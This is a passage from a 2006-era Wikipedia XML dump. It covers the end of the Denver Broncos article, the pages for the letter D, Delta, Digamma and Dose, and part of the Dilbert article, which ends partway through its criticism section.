|2001 || 8 || 8 || 0 || 3rd AFC West || --
|-
|2002 || 9 || 7 || 0 || 2nd AFC West || --
|-
|2003 || 10 || 6 || 0 || 2nd AFC West || Lost [[NFL playoffs, 2003-04|Wild Card Playoffs]] ([[Indianapolis Colts|Colts]])
|-
|2004 || 10 || 6 || 0 || 2nd AFC West || Lost [[NFL playoffs, 2004-05|Wild Card Playoffs]] ([[Indianapolis Colts|Colts]])
|-
|[[2005 Denver Broncos|2005]] || 13 || 3 || 0 || 1st AFC West || Lost [[NFL playoffs, 2005-06|Conference Championship]] ([[Pittsburgh Steelers|Steelers]])
{{end box}}
^At the end of [[2005 NFL season]], the Broncos All-Time Record is 379-335-10 (including playoffs).

==Players of note==
===Current players===
{{Denver Broncos roster}}

===[[Pro Football Hall of Fame]]rs===
*[[John Elway]] (2004)

===Retired numbers===
*[[John Elway]] - #7
*[[Floyd Little]] - #44
*[[Frank Tripucka]] - #18 (Tripucka's number has been removed from retirement, due to a lack of evidence that it was retired, according to Broncos PR.)

===Ring of Fame===
The Broncos have a Ring of Fame on the Level 5 facade of INVESCO Field at Mile High, which honors the following:

* 23 [[Goose Gonsoulin]], S, 1960-66, inducted 1984
* 44 [[Floyd Little]], RB, 1967-75, inducted 1984
* 87 [[Lionel Taylor]], WR, 1960-66, inducted 1984
* 87 [[Rich Jackson (football player)|Rich Jackson]], DE, 1967-72, inducted 1984
* [[Gerald Phipps]], team owner, 1961-81, inducted 1985
* 12 [[Charley Johnson]], QB, 1972-75, inducted 1986
* 18 [[Frank Tripucka]], QB, 1960-63, inducted 1986
* 70 [[Paul Smith]], DE, 1968-78, inducted 1986
* 36 [[Billy Thompson]], CB, 1969-81, inducted 1987
* 7 [[Craig Morton]], QB, 1977-82, inducted 1988
* 15 [[Jim Turner (football player)|Jim Turner]], K, 1971-79, inducted 1988
* 25 [[Haven Moses]], WR, 1972-81, inducted 1988
* 53 [[Randy Gradishar]], LB, 1976-83, inducted 1989
* 57 [[Tom Jackson]], LB, 1973-86, inducted 1992
* 20 [[Louis Wright]], S, 1975-86, inducted 1993
* 7 [[John Elway]], QB, 1983-98, inducted 1999
* 49 [[Dennis Smith (NFL player)|Dennis Smith]], S, 1981-94, inducted 2001
* 77 [[Karl Mecklenburg]], LB, 1983-94, inducted 2001
* 65 [[Gary Zimmerman]], OT, 1993-97, inducted 2003
* 27 [[Steve Atwater]], S, 1989-98, inducted 2005

===Colorado Sports Hall of Fame===
* 23 [[Goose Gonsoulin]], S, 1960-66
* 44 [[Floyd Little]], RB, 1967-75
* 87 [[Lionel Taylor]], WR, 1960-66
* 87 [[Rich Jackson (football player)|Rich Jackson]], DE, 1967-72
* [[Gerald Phipps]], team owner, 1961-81
* 18 [[Frank Tripucka]], QB, 1960-63
* 36 [[Billy Thompson]], CB, 1969-81
* 7 [[Craig Morton]], QB, 1977-82
* 25 [[Haven Moses]], WR, 1972-81
* 53 [[Randy Gradishar]], LB, 1976-83
* 57 [[Tom Jackson]], LB, 1973-86
* 80 [[Rick Upchurch]], WR, 1975-83
* 20 [[Louis Wright]], S, 1975-86
* [[Red Miller]], Head Coach, 1977-80
* [[Dan Reeves]], Head Coach, 1981-92
* 7 [[John Elway]], QB, 1983-98
* 77 [[Karl Mecklenburg]], LB, 1983-94
* 84 [[Shannon Sharpe]], TE, 1990-99, 2002-03
* 30 [[Terrell Davis]], RB, 1993-2001

===Not to be forgotten===
*[[Lyle Alzado]]
*[[Rod Bernstine]]
*[[Marlin Briscoe]]
*[[Dale Carter]]
*[[Mike Croel]]
*[[Terrell Davis]] 
*[[Karl Dorrell]] (current [[head coach]] of the [[University of California, Los Angeles|UCLA]] Bruins football team)
*[[Tony Dorsett]]
*[[Reuben Droughns]]
*[[Archie Eversole]]
*[[Miller Farr]]
*[[Olandis Gary]]
*[[Cookie Gilchrist]] (born 1935)
*[[Abner Haynes]]
*[[Reggie Hayward]]
*[[Garrison Hearst]]
*[[Micah Knorr]]
*[[Ed McCaffrey]]
*[[Wahoo McDaniel]]
*[[Gene Mingo]] (first black field goal kicker in professional football, 1960)
*[[John Mobley]]
*[[Riley Odoms]]
*[[Clinton Portis]]
*[[Shannon Sharpe]]
*[[Dennis Smith (NFL player)|Dennis Smith]]
*[[Rick Upchurch]]
*[[Rich Karlis]]
*[[Steve Beuerlein]]
*[[David Treadwell]]

==Head Coaches==
*[[Frank Filchock]] (1960-1961)
*[[Jack Faulkner]] (1962-1964)
*[[Mac Speedie]] (1964-1966)
*[[Ray Malavasi]] (1966)
*[[Lou Saban]] (1967-1971)
*[[Jerry Smith]] (1971)
*[[John Ralston]] (1972-1976)
*[[Red Miller]] (1977-1980)
*[[Dan Reeves]] (1981-1992)
*[[Wade Phillips]] (1993-1994)
*[[Mike Shanahan]] (1995-present)

===Current Staff===
*Head Coach - [[Mike Shanahan]]
*Offensive Coordinator - [[Rick Dennison]]
*Defensive Coordinator - [[Larry Coyer]]
*Special Teams Coach - [[Ronnie Bradford]]
*Assistant Head Coach - [[Mike Heimerdinger]]
*Quarterbacks Coach - [[Pat McPherson]]
*Running Backs Coach - [[Bobby Turner]]
*Wide Receivers Coach - [[Steve Watson (football coach)|Steve Watson]]
*Tight Ends Coach - [[Tim Brewster]]
*Offensive Line Coach - [[TBA]]
*Offensive Assistant - [[TBA]]
*Defensive Line Coach - [[Jacob Burney]]
*Linebackers Coach - [[Kirk Doll]]
*Defensive Backs Coach - [[Bob Slowik]]
*Defensive Assistant - [[Jim Ryan (football coach)|Jim Ryan]]
*Strength and Conditioning - [[Rich Tuten]]

==External links==
*[http://www.denverbroncos.com/ Denver Broncos official web site]
*[http://www.nflnewsrack.com/denver_broncos.html Denver Broncos news and opinion sources]
*[http://www.nfl.com/teams/stats/DEN/2005/regular 2005 Team Statistics at NFL.com]
*[http://www.broncosfreak.com/ Broncosfreak fan site]
*[http://www.orangemane.com/BB/ Orange Mane, Broncos fan community]
*[http://groups.myspace.com/DenverBroncos06 Denver Broncos Group on MYSPACE.com]
*[http://www.sportsecyclopedia.com/nfl/denver/broncos.html Sports E-Cyclopedia.com]

{{NFL}}


[[Category:Denver Broncos| ]]
[[Category:Denver, Colorado]]
[[Category:1960 establishments]]
[[Category:American Football League]]
[[Category:National Football League teams]]

[[de:Denver_Broncos]]
[[fr:Broncos de Denver]]
[[it:Denver_Broncos]]
[[pt:Denver Broncos]]
[[sv:Denver_Broncos]]</text>
    </revision>
  </page>
  <page>
    <title>D</title>
    <id>8123</id>
    <revision>
      <id>42090778</id>
      <timestamp>2006-03-03T19:41:05Z</timestamp>
      <contributor>
        <ip>67.162.171.216</ip>
      </contributor>
      <comment>/* Meanings */</comment>
      <text xml:space="preserve">{{AZ|uc=D|lc=d}}
The letter '''D''' is the fourth letter of the Latin [[Alphabet|alphabet]]. Its name in [[English language|English]] is ''dee''. 
== History ==
{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse;text-align:center;&quot;
|-  bgcolor=&quot;#EEEEEE&quot;
! Egyptian hieroglyph &quot;door&quot;
! Proto-Semitic D
! Phoenician D
! Etruscan D 
! Greek Delta
|-----
|&lt;hiero&gt;O31&lt;/hiero&gt;
|[[Image:Proto-semiticD-01.png]][[Image:Proto-semiticD-02.png]]
|[[Image:PhoenicianD-01.png]]
|[[Image:EtruscanD-01.png]]
|[[Image:GreekD-01.png]]
|}


The Semitic letter [[Daleth|Dâlet]] probably developed from the [[logogram]] for a fish or a door. There are various [[Egyptian hieroglyph]]s that this might have inspired this. In Semitic, Ancient Greek and Latin, the letter was pronounced /d/; in the [[Etruscan alphabet]] the letter was superfluous, but still maintained (see letter [[B]]). Greek letter: [[Delta (letter)|&amp;Delta;]] (capital) or &amp;delta; (small) (Delta).

The [[minuscule]] (lower-case) form of D, consisting of a loop and a tall vertical stroke, developed by gradual variations on the majuscule (capital) form. In handwriting it was common to start the arc to the left of the vertical stroke, resulting in a [[serif]] at the top of the arc. This serif was extended while the rest of the letter was reduced, resulting in an angled stroke and loop. The angled stroke then developed into a vertical stroke.

==Usage==

The letter D generally takes the [[voiced alveolar plosive]] value, [[International Phonetic Alphabet|IPA]] {{IPA|/d/}} in most languages that use the Roman alphabet, including [[English language|English]]. In [[Welsh language|Welsh]] d when doubled (dd) has the value {{IPA|/ð/}}, like English ''th'' in ''this''.

Digraphs of D are rare in English, although other languages use DH or DD for a [[voiced dental fricative]] (some [[Celtic languages]]) or an aspirated [[voiced dental plosive]] (some [[Indo-Aryan languages]]), or use [[affricate|affricates]] DZ, DV, or DZH.

In [[Cantonese (linguistics)|Cantonese]], the sound {{IPA|/d/}} means ''a little bit'', from the ancient use of the character &amp;#30340; (in the phrase &quot;&amp;#20800;&amp;#30340;&quot;) in [[Chinese written language]]. Since &amp;#30340; is no longer used in this way, [[Hong Kong|Hong Kong residents]] invented a new character &amp;#21874; (which is not supported in many Chinese systems), or simply write '''D''' instead.

==Codes for computing==
{{Letter
|NATO=Delta
|Morse=–··
|B1=●
|B2=○
|B3=○
|B4=●
|B5=●
|B6=○
}}
In [[Unicode]] the [[majuscule|capital]] D is codepoint U+0044 and the [[minuscule|lowercase]] d is U+0064.

The [[ASCII]] code for capital D is 68 and for lowercase d is 100; or in [[Binary numeral system|binary]] 01000100 and 01100100, correspondingly.

The [[EBCDIC]] code for capital D is 196 and for lowercase d is 132.

The [[numeric character reference]]s in [[HTML]] and [[XML]] are &quot;&lt;tt&gt;&amp;amp;#68;&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;&amp;amp;#100;&lt;/tt&gt;&quot; for upper and lower case respectively.

==Meanings==
* In American [[politics]], D is often used as an abbreviation for a [[Democratic Party (United States)|Democrat]].
* In [[astronomy]],
** D stands for destroyed/disappeared comet, as in [[D/1993 F2]], Comet Shoemaker-Levy 9.
** D stands for a February 16 through 29 discovery, in the provisional designation of a comet (e.g. [[D/1993 F2]]) or asteroid (e.g. {{mpl|(3481) 1982 DS|6}}).
* In the [[Earth's atmosphere|atmosphere]] of [[Earth]], the [[D region|D layer]] is part of the [[ionosphere]].
* In [[biochemistry]], D is the symbol for [[aspartic acid]].
* [[Brassiere cup size]] D
* In British currency, d is an abbreviation (from the Latin ''denarius'') for the pre-decimalization [[penny]], worth 1/240th of a pound.
* In [[calendar]]s, D is often an abbreviation for the [[month]] [[December]].
* In [[chemistry]], D is the symbol of [[deuterium]], an [[isotope]] of [[hydrogen]].
* In [[computing]],
** D is the name of [[D programming language (disambiguation)|various programming languages]], most notably the [[D programming language]] by [[Walter Bright]].
** D is a security division (&quot;Minimal Protection&quot;) in the [[TCSEC]].
* In [[driving]] a [[motor vehicle]], D (drive) designates the forward cruising gears in an [[automatic transmission]].
* In [[economics]], D stands for [[demand]].
* In [[education]], D is a barely passing [[Grade (education)|grade]].
* In [[electronics]], D is a standard size dry cell [[battery (electricity)|battery]].
* In [[finance]], D is the [[New York Stock Exchange]] [[ticker symbol]] for the [[Richmond, Virginia]] company [[Dominion Resources|Dominion]].
* In [[geometry]], d is often a [[variable]] for the [[diameter]] of a [[circle]].
* In [[List of international license plate codes|international licence plate codes]], D stands for [[Germany]].
* In [[manga]], D is the middle initial of [[Monkey D. Luffy]], and his relatives.
* In [[mathematics]], 
** d is the symbol for the total [[differential operator]] (partial differentials use ∂).
** D is often used as a [[numerical digit|digit]] meaning ''[[thirteen]]'' in [[hexadecimal]] and other positional [[numeral system]]s with a [[radix]] of 14 or greater.
* In [[metrology]], d is the symbol for [[day]] (from the Latin ''dies''; this is the only symbol for this unit acceptable for use with [[SI]])
* In [[music]], D is a [[note]].
* In [[nutrition]], D is a [[Vitamin D|vitamin]].
* In [[particle physics]], d is the symbol of the [[deuteron]].
* In [[physics]]:
** ''d'' is the recommended symbol for: thickness, diameter, relative density (mechanics), lattice plane spacing (solid state physics), and degeneracy of vibrational mode (molecular spectroscopy).
** ''D'' is the recommended symbol for: diffusion coefficient (molecular physics), and [[Debye-Waller factor]] (solid state physics).
** '''''D''''' is the recommended symbol for electric displacement (electricity and magnetism).
* In [[print]], ''[[D Magazine]]'' is a [[magazine]] for the city of [[Dallas, Texas]].
* In [[Roman numerals]], D denotes the number [[500 (number)|500]] (there are also separate [[Unicode]] characters for this number, 0x216E &quot;Ⅾ&quot; and 0x217E &quot;ⅾ&quot;).
* In the [[SI]] system, d, [[deci]], is the [[SI prefix]] meaning one tenth, 10&lt;sup&gt;-1&lt;/sup&gt;.
* In [[sports]], D is often used as an [[abbreviation]] for [[Defense (sport)|defence]].
* In [[video games]], ''[[D (video game)|D]]'' is the title of a game released in the mid-1990s for [[PlayStation]].
* [[D (Japanese band)|D]] is also the name of a Japanese VK band.

==See also==
* [[Eth (letter)|&amp;#208;]]
{{AZsubnav}}

[[Category:Latin letters]]

[[als:D]]
[[bs:D]]
[[ca:D]]
[[sn:D]]
[[cs:D]]
[[da:D]]
[[de:D]]
[[el:D]]
[[es:D]]
[[eo:D]]
[[fr:D]]
[[gl:D]]
[[ko:D]]
[[hr:D]]
[[io:D]]
[[id:D]]
[[it:D]]
[[he:D]]
[[kw:D]]
[[la:D]]
[[hu:D]]
[[nl:D]]
[[ja:D]]
[[no:D]]
[[nn:D]]
[[pt:D]]
[[ro:D]]
[[simple:D]]
[[sl:D]]
[[fi:D]]
[[sv:D]]
[[tl:D]]
[[vi:D]]
[[tr:D]]
[[yo:D]]
[[zh:D]]</text>
    </revision>
  </page>
  <page>
    <title>Delta</title>
    <id>8124</id>
    <revision>
      <id>41395657</id>
      <timestamp>2006-02-27T01:22:19Z</timestamp>
      <contributor>
        <username>Rogerd</username>
        <id>205136</id>
      </contributor>
      <comment>remove extraneous links and piping per [[MoS:DP]]</comment>
      <text xml:space="preserve">'''Delta''' may refer to:
{{wiktionarypar|delta}}
{{TOCright}}

* [[Delta (letter)]], the letter &amp;Delta; or &amp;delta; in the Greek alphabet. Also used as a mathematical and enumeration symbol, often to indicate the change of a quantity.
* [[River delta]], a triangular area of alluvial deposit at the mouth of a river, roughly in shape of &amp;Delta;.
* [[Delta (computer)]], a computer.
* [[Delta (computer game)]], a computer game made by Thalamus Ltd
* [[Delta Faucet Company]], a plumbing fixtures company that introduced the single handle ball valve faucet to market in 1954, a division of Masco Corporation.
* [[Delta Air Lines]], a major U.S. airline.
* [[Delta Machinery]], a market leader in stationary power tools and equipment.
* [[EX Delta Species]], Pokemon Trading Card Game expansion 
* [[Lancia Delta]], a famous rally car made by Italian company Lancia.


==Abbreviations==

* [[DELTA (ELT)]] (always in capitals) is an advanced diploma in English language teaching (ELT).
* [[DELTA (taxonomy)]], the '''DE'''scription '''L'''anguage for '''TA'''xonomy.

==Places==
*'''Canada'''
** [[Delta, British Columbia]]
***[[Delta (provincial electoral district)]]
***[[Delta (electoral district)]] a federal electoral district, 2003-present
*'''Nigeria'''
** [[Delta State, Nigeria]]
*'''United States'''
** [[Delta, Colorado]]
** [[Delta, Iowa]]
** [[Delta, Kentucky]]
** [[Delta, Louisiana]]
** [[Delta, Missouri]]
** [[Delta, Ohio]]
** [[Delta, Pennsylvania]]
** [[Delta, Utah]]
** [[Delta, Wisconsin]]

* [[Delta Quadrant]], a quadrant of the Milky Way Galaxy depicted in Star Trek

{{disambig}}

[[da:Delta]]
[[de:Delta (Begriffsklärung)]]
[[es:Delta]]
[[eo:Delto]]
[[fr:Delta]]
[[ko:델타]]
[[it:Delta]]
[[nl:Delta]]
[[ja:デルタ]]
[[pl:Delta (strona ujednoznaczniająca)]]
[[ru:Дельта]]
[[sv:Delta (olika betydelser)]]</text>
    </revision>
  </page>
  <page>
    <title>Digamma</title>
    <id>8125</id>
    <revision>
      <id>38328044</id>
      <timestamp>2006-02-05T17:01:28Z</timestamp>
      <contributor>
        <username>Macrakis</username>
        <id>49920</id>
      </contributor>
      <comment>stigma already has its own article; clarify distinction between digamma as number and stigma</comment>
      <text xml:space="preserve">{{Table_Greekletters|letter=digamma2}}

{{Otheruses4|the Greek letter|the mathematical function|digamma function}}

'''Digamma''' (upper case {{polytonic|&amp;#988;}}, lower case {{polytonic|&amp;#989;}}) is an archaic letter of the [[Greek alphabet]], used primarily as a [[Greek numeral]].

The letter had the phonetic value [[Voiced labial-velar approximant|/w/]].  Its original name is unknown, but was probably {{polytonic|&amp;#988;αυ}} (wau).  It was later called 'digamma' (double [[gamma (letter)|gamma]]) because of its shape.  It is attested in archaic and dialectal [[Ancient Greek language|ancient Greek]] [[inscription]]s, and is occasionally used as a symbol in later Greek mathematical texts.

It is also used as the [[Greek numeral]] 6.  In ancient usage, the numeral had the same form as the letter digamma.  However, in medieval and modern usage, the numeral has normally been written in the graphic form of a [[stigma (letter)|stigma]] ({{polytonic|&amp;#986;}}, {{polytonic|&amp;#987;}}), which historically is completely distinct from digamma; it is a medieval [[Ligature (typography)|ligature]] of [[sigma (letter)|sigma]] and [[tau (letter)|tau]].  To complete the confusion, in modern times, the sequence &amp;sigma;&amp;tau; or &amp;Sigma;&amp;Tau; is sometimes used instead of the stigma symbol.

Digamma, like [[Upsilon|Y]], derives from the [[Phoenician alphabet|Phoenician]] letter [[Waw (letter)|Waw]], and in its turn gave rise to the [[Roman alphabet|Roman letter]] [[F (letter)|F]].

==The sound [w] in Greek==

The sound [w] existed in Mycenean Greek, as attested in [[Linear B]] and archaic Greek inscriptions using digamma.  It is also confirmed by the [[Hittite language|Hittite]] name of [[Troy]], Wilusa, corresponding to the Greek name *Wilion.  The sound was lost at various times in various dialects, mostly before the classical period. 

In [[Ionic Greek|Ionic]], [w] had probably disappeared before [[Homer]]'s epics were written down ([[7th century BC]]), but its former presence can be detected in many cases because its omission left the [[meter (poetry)|meter]] defective. An example is the word {{polytonic|ἄναξ}} (king) found in the [[Iliad]], which would originally have been [wanaks]. Also {{polytonic|&amp;omicron;&amp;#7990;&amp;nu;&amp;omicron;&amp;sigmaf;}} (wine) was used in the meter where a word starting with a consonant would be expected. Further evidence coupled with cognate-analysis shows that {{polytonic|&amp;omicron;&amp;#7990;&amp;nu;&amp;omicron;&amp;sigmaf;}} was earlier [woinos] (cf. [[Latin language|Latin]] ''vinum'' and [[English language|English]] &quot;wine&quot;).

----

'''Digamma Club''' was the original name of the Fox Club, a [[Harvard University]] [[final club]].

[[Category:Greek letters]]

{{Link FA|fr}}
{{Link FA|it}}

[[als:Ϝ]]
[[ca:Digamma]]
[[de:Digamma]]
[[es:Ϝ]]
[[fr:Digamma]]
[[he:דיגאמא]]
[[it:Digamma (lettera)]]
[[la:Digamma]]
[[ja:Ϝ]]
[[sv:Digamma]]
[[zh:Digamma]]</text>
    </revision>
  </page>
  <page>
    <title>Dose</title>
    <id>8126</id>
    <revision>
      <id>31979878</id>
      <timestamp>2005-12-19T16:30:40Z</timestamp>
      <contributor>
        <username>Gurubrahma</username>
        <id>253590</id>
      </contributor>
      <comment>See also added (dosing)</comment>
      <text xml:space="preserve">'''Dose''' can refer to several things:
# ''n'' An amount of [[medication]] to be taken at one time.
# ''n'' An amount of [[absorbed dose|radiation]] received.
# ''v'' To give a dose of medicine to somebody, or to measure an amount for this.
# ''n'' An album by the [[jam band]] [[Gov't Mule]].  See [[Dose (album)]].
# ''n'' A free daily [[Canadian]] magazine published by [[CanWest Global]].  See [[Dose (magazine)]].
# ''n'' '''[[Dosa]]''', a [[South India]]n breakfast.

== See also ==
* ''v'' '''[[Dosing]]''', measuring / administering an amount.

{{disambig}}

[[Category:Disambiguation]]

[[ca:Dosi]]
[[de:Dosis]]
[[es:Dosis]]
[[fr:Dose]]</text>
    </revision>
  </page>
  <page>
    <title>Dilbert</title>
    <id>8127</id>
    <revision>
      <id>42017616</id>
      <timestamp>2006-03-03T06:20:21Z</timestamp>
      <contributor>
        <ip>68.104.201.53</ip>
      </contributor>
      <comment>/* ''Dilbert'' in popular culture */</comment>
      <text xml:space="preserve">[[Image:Thriving On Vague Objectives Cover.jpg|right|thumb|200px|''[[Thriving on Vague Objectives]]'', the latest ''Dilbert'' book]]
[[Image:Dilbert-animated.jpg|right|thumb|200px|''Dilbert'' animated series, [[The Virtual Employee (Dilbert episode)|episode 212]]]]
'''''Dilbert''''' is a popular [[United States of America|American]] [[comic strip]]. Written and drawn by [[Scott Adams]], the comic is known for its heavily [[satire|satirical]] [[humor]] about a [[white-collar]], [[micromanage]]d [[office]], featuring the [[engineer]] [[Dilbert (character)|Dilbert]] as the [[title role|title character]]. The strip has run in newspapers since [[April 16]], [[1989]], spawning several books, an [[Dilbert#Animated series|animated television series]], a [[computer game]], and hundreds of Dilbert-themed [[merchandising|merchandise]] items.  Adams has also received the [[National Cartoonist Society]] [[Reuben Award]] and Newspaper Comic Strip Award in 1997 for his work on the strip. Dilbert appears in 2500 newspapers worldwide in 65 countries and 19 languages with over 150 million fans.

==Themes==
The comic strip originally revolved around the engineer [[Dilbert (character)|Dilbert]] and his &quot;pet&quot; dog [[Dogbert]], with most action taking place in their home.  Many plots revolved around Dilbert's engineer nature or his bizarre inventions. These alternated with plots based on Dogbert's [[megalomania]]cal ambitions.  Later on, the location of most of the action moved to Dilbert's workplace at a large technology company, and the strip started to satirize [[Information Technology|IT]] workplace and company issues.  The comic strip's popular success is attributable to its workplace setting and themes, which are familiar to a large and appreciative audience.

''Dilbert'' portrays corporate culture as a [[Franz Kafka|Kafka]]esque world of [[bureaucracy]] for its own sake and office politics that stand in the way of productivity, where employees' skills and efforts are not rewarded, and [[busy work]] praised. Much of the humor emerges as the audience sees the characters making obviously ridiculous decisions that are natural reactions to [[management|mismanagement]].

Themes explored include:
* Engineers' personal traits
** Lack of style
** Hopelessness in [[dating]]
** Attraction to tools and technological products
* [[Esotericism]]
[[Image:Dilbert-20050910.gif|thumb|198px|Announcement of changes in company password policy. From left: the [[Pointy-Haired Boss]], [[Dilbert (character)|Dilbert]], [[Alice (Dilbert character)|Alice]], and [[Wally (Dilbert character)|Wally]]]]
* [[incompetence|Incompetent]] and [[sadism|sadistic]] management
** Scheduling without reference to reality
** Failure to reward success or penalize laziness
** Penalising employees for failures caused by bad management
** [[Micromanagement]]
** Failure to improve others' morale, lowering it instead
** Failure to communicate objectives
** Handling of projects doomed to failure or cancellation
** Sadistic [[human resources|HR]] policies with flimsy (or purely [[evil]]) rationale
* [[Corporate]] bureaucracy
* Stupidity of the general public
** Susceptibility to [[advertising]]
** Susceptibility to [[peer pressure]]
** Gullibility in the face of obvious [[scam]]s
* [[Third world]] countries and [[outsourcing]] ([[Elbonia]])
** Dilapidation
** Bizarre [[culture|cultural]] habits
** Lack of understanding of [[capitalism]]

==Characters==
The main characters in Dilbert include:
; [[Dilbert (character)|Dilbert]] : The main character in the strip, an electrical engineer. He understands engineering well and has good ideas, but has a poor social life.  

:Dilbert is a stereotypical technically-minded single male.  Neither attractive nor blessed with tremendous social graces, Dilbert is capable but ignored at work, and struggles with his romantic life.  While he is frequently seen having dates with eligible women, the dates almost invariably end in disaster, usually in surreal and bizarre ways.  Dilbert loves computers and technology and will spend much of his free time playing with such things.

:Dilbert is the strip's Everyman, albeit of a specific sort.  Despite his intelligence, Dilbert is usually doomed to having events control him; he is generally powerless at work and too inept to improve his social standing.

:Dilbert is usually pictured wearing a white dress shirt, red and black striped tie, and black pants.  Dilbert's tie, for reasons never really explained, curls upward, as if formed by a wire.  It is alluded to in the strip that the tie curving up indicates the fact he has not had sex lately.

:Dilbert's unusual name was suggested to Adams by a co-worker; Adams later found that the name likely came from a cartoon character used by the United States Navy during World War II.

; [[Dogbert]] : Dilbert's pet [[dog]]. He is a [[megalomaniac]] intellectual, planning to one day conquer the world and enslave all humans. Once he succeeded, but got bored and quit. Often seen in high ranking consultant jobs, he constantly abuses his power and fools the management of Dilbert's company.  Dogbert also enjoys pulling scams on unsuspecting, and usually dull, customers to steal their money.  However, despite Dogbert's cynical exterior, he has been known to pull his master out of some tight jams.

:Dogbert's canine nature was more emphasized during the earlier years of the strip; as the strip progressed, references to his acting like a dog became less common.  

; [[Ratbert]] : A rat formerly used as a laboratory test animal. He usually gets all the lowest and most menial jobs, i.e. temp.  Ratbert is tolerated, but never liked, by Dilbert.

; [[Catbert]] : The company's evil [[cat|feline]] Human Resources director. He derives sadistic pleasure from seeing employees worry about their jobs. Merely mentioning the term &quot;layoffs&quot; causes him to wag his tail in delight.  
; [[List of minor characters in Dilbert#Bob, Dawn, and Rex, the Dinosaurs|Bob the dinosaur]] : A dinosaur who is the wedgie enforcer at the office. He was found after Dilbert realized that dinosaurs weren't extinct, they were just really good at hiding.

; [[Pointy-Haired Boss]] : The manager of Dilbert and the other engineers. He is hopelessly incompetent at management and does not understand the technical issue but always tries to disguise this, usually by talking in [[buzzword]]s he does not understand.  The Pointy-Haired Boss's actual name is never used.  In earlier strips the Boss was depicted as a stereotypical late-middle-aged balding middle manager.  Later he developed his signature &quot;pointy hair&quot;.  This transformation occurred between the strip of September 20 (or possibly September 26), 1991, and the strip of October 21, 1991.

:The Boss treats his employees alternately with disdain or neglect; he is almost wholly [[sociopathic]], using them to his own ends irrespective of the consequences to them.  The Boss's level of intelligence varies from near-vegetative to perceptive and clever, depending on the strip's comic needs; his utter lack of ethics, however, is perfectly consistent.  The Boss believes Sociopath means the employees think he majored in Sociology; in fact he has alternately been credited with majoring in Art History (to look at naked statues) and Anthropology.  The latter claim was made by the Boss himself.

:Although he is often characterized by his minions as an &quot;idiot&quot;, he alone among them has succeeded socially, by marrying and fathering children. Not unexpectedly, his son is much like him. 

; [[Wally (Dilbert character)|Wally]] : One of the oldest engineers. He hates work and avoids it whenever he can. He is often seen carrying a cup of [[coffee]].  Wally is even more socially inept than Dilbert, and reference to his lack of personal hygiene are not uncommon.  Like the Pointy Haired Boss, Wally is utterly lacking in ethics and will take advantage of any situation to maximize his personal gain while doing the least possible amount of honest work.  Squat and balding, Wally is almost invariably portrayed wearing a short sleeved dress shirt and tie.  Adams has stated that Wally was based on a man who, due to a legal screw-up at work, could never be fired but would never get promoted.  This man was able to then become very lazy as he would not be punished for doing a bad job and would get no benefit from working hard.

; [[Alice (Dilbert character)|Alice]] : The company's most competent, and highest paid, engineer.  Alice has a huge, triangular hairstyle.  She is often frustrated at her work not getting proper recognition, which she believes (with some justification) is due to her gender. She also has a short, often violent temper, sometimes putting her &quot;Fist of Death&quot; to use, even against the Pointy Haired Boss.  Alice originally depicted a series of female characters, like Ted the Generic guy, and appeared for a time as the current Alice with a somewhat more normal hair style before, like the Boss, she finally developed her signature triangular hair.  Alice is claimed to be based upon a woman that Scott Adams worked with named Anita, who is described as sharing Alice's 'pink suit, fluffy hair, and take-no-crap attitude.'

; [[Asok (Dilbert character)|Asok]] : Pronounced &quot;Ah-shook.&quot;  A young intern. He works very hard but does not always get proper recognition.  Asok is intensely intelligent but naive about corporate life; the shattering of his illusions are frequent comic fodder.  Asok is Indian, and graduated from the [[Indian Institute of Technology]] (IIT). He does not eat, at least, beef.  The others, especially the Boss, often unwittingly trample on his cultural beliefs.  If Asok mentions this, he is normally ignored.   If Asok's reported test scores and college accomplishments are correct, he is the smartest member of the engineering team.

; [[Phil, the Prince of Insufficient Light]] : A minor [[demon]] who punishes people for small crimes by &quot;darning them to heck&quot; with his &quot;pitchspoon&quot;, a parody of [[Satan]]. Ostensibly, Phil is eventually revealed to be the Pointy-Haired Boss's brother. Adams is inconsistent with his depictions of Phil; he sometimes has horns and sometimes does not, and sometimes carries a pitchfork rather than a spoon. Adams has stated that the inconsistency is because he sometimes forgets that Phil is not supposed to have a cape, or a pitchfork.

; [[Elbonia]]ns : People from a fictional [[Fourth World]] nation, used as a parody of outsourcing. Their culture is radically different from western culture, and their [[patriarchy]] often annoys Alice. Their country is covered in waist-deep mud which they keep wet using expensive bottled water as revealed in one strip.

{{seealso|List of minor characters in Dilbert}}

==''Dilbert'' in popular culture==
The popularity of the comic strip within the corporate sector has led to the character of Dilbert being used in many business magazines and publications (he has made several appearances on the cover of ''[[Fortune (magazine)|Fortune]]'').

The ''[[Toronto Star]]'', Montreal's ''[[La Presse]]'', the ''[[Indianapolis Star]]'', the ''[[Providence Journal]]'', the ''[[Washington Post]]'', the ''[[Los Angeles Times]]'', the Brisbane [[Courier Mail]], the ''[[Windsor Star]]'', and ''[[San Francisco Chronicle]]'', among other publications, run the comic in the business section, separate from other comics, which together have their own section.  This is done in much the same manner that [[Doonesbury]] is now often carried only in the editorial section due to its pointed commentary.

It is the basis of a popular (though unproven) theory suggesting that the morale at a given workplace is inversely proportional to the number of ''Dilbert'' comic strips taped and posted at various desks and cubicles. A larger number of ''Dilbert'' comic strips reflects general frustration with the bureaucratic administration at the company, whereas a generally satisfied workforce sees less identification with the character of Dilbert, and consequently fewer ''Dilbert'' comic strips are displayed as mementoes. An office with ''no'' Dilbert strips, however, does not necessarily have high morale; rather, it may indicate that a truly authoritarian administration has prohibited employees from displaying them.

===Criticism===
The adoption of Dilbert as an icon for [[corporate America]] has led to Scott Adams being criticized, in some circles, for allowing his creation to be adopted and embraced by the very same corporate world his strip satirizes.


''Dilbert''&lt;nowiki&gt;'&lt;/nowiki&gt;s irony admits few serious alternatives to the corporate lifestyle, as if Adams anticipated criticism but planned through irony to disarm the critics. [[Norman Solomon]] believes the strip is insufficiently critical of CEOs and disrespectful of ordinary working people (''The Trouble with Dilbert: How Corporate Culture Gets the Last Laugh'', Common Courage Press, 1997). The idea that white collar people might be in need of more respect contrasts with a common belief that white collar career is a free choice, but [[downsizing]] and some of the pressures on Dilbert have been predicted in the 1970s by [[Harry Braverman]] (''Labor and Monopoly Capital'', Monthly Review Press, 1998 being the most recent re-issue). Dealing with those pressures would require Dilbert to be more blue-collar in terms of strife over his work process, but in Dilbert the boss can be lampooned but has to be obeyed.

